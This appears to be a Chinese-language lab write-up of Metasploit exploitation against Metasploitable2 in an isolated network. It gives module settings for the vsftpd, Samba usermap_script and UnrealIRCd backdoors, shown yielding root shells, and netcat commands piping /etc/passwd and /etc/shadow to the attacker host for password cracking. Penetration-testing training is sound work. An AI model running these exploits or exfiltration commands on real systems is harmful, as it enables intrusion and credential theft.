针对 Metasploitable2 的完整 Metasploit 利用演练 — vsftpd 后门、Samba CVE-2007-2447、UnrealIRCd 后门、Netcat 数据外泄和凭据破解准备。
一份利用Metasploit框架进行渗透测试的实操指南——从PostgreSQL数据库设置和db_nmap扫描开始,通过vsftpd、Samba和UnrealIRCd获取三个root shell,再到使用Netcat提取凭据。
本仓库记录了在一个隔离的VirtualBox实验室中对Metasploitable2进行的完整Metasploit攻击过程。涵盖主题:
db_nmap将扫描结果直接保存到数据库usermap_script命令注入)/etc/passwd和/etc/shadow并用unshadow合并| 机器 | 角色 | IP地址 |
|---|---|---|
| Kali Linux 2026.1 | 攻击机 | 192.168.1.4 |
| Metasploitable2 | 目标机 | 192.168.1.3 |
网络:192.168.1.0/24 — VirtualBox内完全隔离的NAT网络。
# 启动PostgreSQL并初始化数据库(仅一次)
sudo systemctl start postgresql
sudo msfdb init
# 启动Metasploit
msfconsole


msf6> db_status # 验证:已连接到msf。连接类型:postgresql。
msf6> workspace -a 178-metasploitable2
msf6> workspace # 确认当前工作区

msf6> db_nmap -A 192.168.1.0/24 -n

msf6> hosts
msf6> services

在Metasploitable2上发现两个FTP服务器:
| 端口 | 服务 | 信息 |
|---|---|---|
| 21/tcp | ftp | vsftpd 2.3.4 |
| 2121/tcp | ftp | ProFTPD 1.3.1 |
2011年7月,vsftpd 2.3.4的源代码压缩包被篡改——植入了一个后门,当FTP用户名包含:)时,会在端口6200上打开一个root shell。CVE编号:CVE-2011-2523。代码差异:https://pastebin.com/AetT9sS5
msf6> search type:exploit name:vsftpd
# 结果:exploit/unix/ftp/vsftpd_234_backdoor (rank: excellent)
msf6> use exploit/unix/ftp/vsftpd_234_backdoor
msf6> info




msf6> set RHOSTS 192.168.1.3
msf6> set RPORT 21
msf6> set LHOST 192.168.1.4
msf6> exploit


meterpreter> shell
whoami # root
uname -a # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

提取哈希密码:
cat /etc/shadow | grep '$1'

Samba 3.0.0–3.0.25rc3版本会将用户名中的shell元字符直接传递给/bin/sh(通过username map script选项)——在认证之前发生。Metasploitable2运行的是Samba 3.0.20-Debian。
msf6> search type:exploit name:samba
# 发现约7个漏洞
msf6> use exploit/multi/samba/usermap_script
msf6> info



msf6> set RHOSTS 192.168.1.3
msf6> exploit


whoami # root
smbd --version # Version 3.0.20-Debian
标签页2 — Kali(接收端):
nc -l -p 4567 > passwd.txt
标签页1 — 漏洞利用shell(发送端):
cat /etc/passwd | nc 192.168.1.4 4567


重复操作提取/etc/shadow,然后合并:
unshadow passwd.txt shadow.txt > metasploitable_logins.txt
cat metasploitable_logins.txt
UnrealIRCd 3.2.8.1的源代码中内置了一个后门。向端口6667发送AB会导致服务器以root权限执行后续任意命令——无需认证。
msf6> use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6> set payload cmd/unix/bind_netcat
msf6> set RHOSTS 192.168.1.3
msf6> set LHOST 192.168.1.4
msf6> set RPORT 6667
msf6> exploit


whoami # root
uname -a # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
必需选项:
| 选项 |
|---|
db_nmap → hosts → services → search → use → info → show options → set → exploit → shell
info在exploit之前使用是一个值得养成的习惯——它会显示CVE、受影响版本和必需选项| 值 |
|---|
| 描述 |
|---|
| RHOSTS | 192.168.1.3 | 目标IP |
| RPORT | 6667 | IRC默认端口 |
| LHOST | 192.168.1.4 | Kali监听IP |
| payload | cmd/unix/bind_netcat | 通过Netcat绑定shell |
| 错误 | 后果 | 修复方法 |
|---|
跳过msfdb init | 无数据库——扫描结果未保存 | 首次使用前运行sudo msfdb init |
未设置LHOST | 反弹shell无处回连 | 始终将LHOST设为你的Kali IP |
每次会话都运行msfdb init | 覆盖已有数据 | 仅运行一次;使用sudo msfdb status检查 |
| RPORT设置错误 | 漏洞利用静默失败 | 设置前通过services确认端口 |
| 过早关闭Netcat监听 | 文件传输不完整 | 管道命令后等待片刻再按CTRL-C |
跳过unshadow | 密码破解工具拒绝拆分文件格式 | 务必先合并passwd和shadow |